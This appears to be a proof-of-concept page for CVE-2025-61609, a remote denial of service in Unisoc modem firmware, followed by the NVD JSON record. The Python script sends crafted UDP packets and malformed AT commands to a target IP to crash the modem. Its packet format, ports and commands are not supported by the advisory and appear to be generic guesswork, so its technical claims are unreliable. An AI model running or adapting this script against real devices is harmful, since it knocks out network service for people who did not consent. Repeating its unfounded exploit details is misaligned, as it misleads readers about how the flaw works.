CVE-2025-61609

# CVE-2025-61609 PoC - Unisoc Modem Denial of Service # This PoC demonstrates sending malformed packets to trigger the vulnerability # Note: For authorized security testing only import socket import struct import random def create_malformed_packet(): """Create a malformed packet that triggers input validation issue""" # Craft a packet with invalid length or format # This exploits improper input validation in modem firmware packet = b'\x00\x01\x02\x03' # Malformed header packet += struct.pack('>H', random.randint(0, 65535)) # Random sequence packet += b'\xff\xfe\xfd' # Invalid markers packet += b'A' * 100 # Oversized payload return packet def send_dos_packet(target_ip, port=80): """Send denial of service packet to target modem""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malformed_packet = create_malformed_packet() sock.sendto(malformed_packet, (target_ip, port)) sock.close() print(f"Malformed packet sent to {target_ip}:{port}") except Exception as e: print(f"Error: {e}") def exploit_modem_at_interface(target_ip): """Send malicious AT command to trigger vulnerability""" # Malformed AT commands that bypass validation malicious_commands = [ b'AT+INVALID_CMD\r\n', b'AT\x00\xff\xfe\r\n', b'AT+CGATT=\xff\r\n' ] try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 5000)) for cmd in malicious_commands: sock.send(cmd) sock.close() print("Malicious AT commands sent") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Target configuration target = "192.168.1.100" # Replace with actual modem IP print("CVE-2025-61609 PoC - Unisoc Modem Input Validation Issue") send_dos_packet(target) exploit_modem_at_interface(target)

{"cve": {"id": "CVE-2025-61609", "sourceIdentifier": "[email protected]", "published": "2025-12-01T08:15:48.437", "lastModified": "2025-12-02T15:53:43.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed"}, {"lang": "es", "value": "En el Módem, existe una posible caída del sistema debido a una validación de entrada incorrecta. Esto podría llevar a una denegación de servicio remota sin necesidad de privilegios de ejecución adicionales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2DA04F2-5351-4043-A330-5397E627A222"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FC033D2C-ED1A-4EAB-A77B-8E1C88C74B0A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC7743D5-B187-48D4-BC77-D8DCDF263166"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D1F3B9D-142F-4E70-8477-E26D921EF19A"}]}]}], "references": [{"url": "https://www.unisoc.com/en/support/announcement/1995394837938163714", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}